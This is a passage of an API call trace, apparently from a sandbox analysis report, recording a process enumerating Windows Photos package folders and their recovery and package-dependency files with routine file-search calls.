ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8bb7b61b, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bb7b61b, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942c8d86, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.101] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x942c8d86, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x942c8d86, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x942eedf4, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x914, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.102] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bba1947, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bba1947, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8bba1947, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.102] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bba1947, ftCreationTime.dwHighDateTime=0x1d7006b, ftLastAccessTime.dwLowDateTime=0x8bba1947, ftLastAccessTime.dwHighDateTime=0x1d7006b, ftLastWriteTime.dwLowDateTime=0x8bba1947, ftLastWriteTime.dwHighDateTime=0x1d7006b, nFileSizeHigh=0x0, nFileSizeLow=0x448, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.102] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.103] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.103] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x8a [0215.103] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa5d8f1f1, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.106] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0xa5d8f1f1, ftLastAccessTime.dwHighDateTime=0x1d700aa, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.106] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a21d419, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.106] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.107] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.107] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.107] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x8a [0215.108] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_neutral_split.scale-100_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d8f1f1, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a21d419, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.110] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.111] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.111] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a184a20, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a184a20, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a184a20, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.111] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.112] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0215.113] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.113] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.113] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2dbfba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2dbfba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.114] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b23516e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1740, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.114] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.114] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.114] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.114] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.114] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.114] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe", lpFilePart=0x0) returned 0x77 [0215.115] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_15.1001.16470.0_x64__8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.115] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b20ef63, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.115] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2dbfba, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2dbfba, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x440, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.116] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b20ef63, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5b20ef63, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5b23516e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1740, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.pckgdep", cAlternateFileName="S-1-5-~1.PCK")) returned 1 [0215.116] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.116] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a2434af, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a2434af, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a2434af, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x1ce8, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 0 [0215.116] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.117] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.117] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.117] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.118] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", nBufferLength=0x105, lpBuffer=0x1f2da940, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpFilePart=0x0) returned 0x7e [0215.118] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe", lpszLongPath=0x1f2da920, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe") returned 0x7e [0215.118] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\", lpszLongPath=0x1f2da900, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\") returned 0x7f [0215.119] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\AppRepository\\Packages\\Microsoft.Windows.Photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*" (normalized: "c:\\users\\all users\\microsoft\\windows\\apprepository\\packages\\microsoft.windows.photos_2015.1001.17200.0_neutral_~_8wekyb3d8bbwe\\*"), lpFindFileData=0x1f2dab70 | out: lpFindFileData=0x1f2dab70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469b80 [0215.387] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa5d68de8, ftCreationTime.dwHighDateTime=0x1d700aa, ftLastAccessTime.dwLowDateTime=0x5a39ab5e, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0215.387] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a39ab5e, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-18.recovery", cAlternateFileName="S-1-5-~2.REC")) returned 1 [0215.388] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a3282f7, ftCreationTime.dwHighDateTime=0x1d70071, ftLastAccessTime.dwLowDateTime=0x5a3282f7, ftLastAccessTime.dwHighDateTime=0x1d70071, ftLastWriteTime.dwLowDateTime=0x5a3282f7, ftLastWriteTime.dwHighDateTime=0x1d70071, nFileSizeHigh=0x0, nFileSizeLow=0x3dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-1560258661-3990802383-1811730007-1000.recovery", cAlternateFileName="S-1-5-~1.REC")) returned 1 [0215.388] FindNextFileW (in: hFindFile=0x1d469b80, lpFindFileData=0x1f2dab30 | out: lpFindFileData=0x1f2dab30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0215.388] FindClose (in: hFindFile=0x1d469b80 | out: hFindFile=0x1d469b80) returned 1 [0215.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad90) returned 1 [0215.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f2dad50) returned 1 [0215.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f2dae60) returned 1 [0215.389] GetLongPathNameW (in: lpszShortPath="C:\\Users\\All 